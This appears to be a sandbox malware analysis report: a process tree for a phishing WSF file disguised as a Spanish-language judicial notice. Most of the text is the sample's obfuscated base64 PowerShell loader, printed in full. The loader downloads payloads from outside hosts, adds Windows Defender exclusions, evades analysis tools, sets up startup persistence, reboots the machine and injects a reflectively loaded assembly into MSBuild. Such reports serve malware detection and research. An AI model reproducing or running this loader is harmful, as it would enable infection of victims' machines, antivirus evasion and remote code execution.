'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF');powershell $pypll
                                              2⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2704
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                                                3⤵
                                                • Blocklisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3808
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
                                                  4⤵
                                                  • Blocklisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3576
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                                    5⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4284
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                                    5⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1756
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\lgork.ps1"
                                                    5⤵
                                                    • Blocklisted process makes network request
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious use of SetThreadContext
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1176
                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                      6⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2504
                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                    cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra (1).WSF"
                                                    5⤵
                                                      PID:716
                                            • C:\Windows\System32\CScript.exe
                                              "C:\Windows\System32\CScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                              1⤵
                                              • Blocklisted process makes network request
                                              • Checks computer location settings
                                              PID:1228
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' 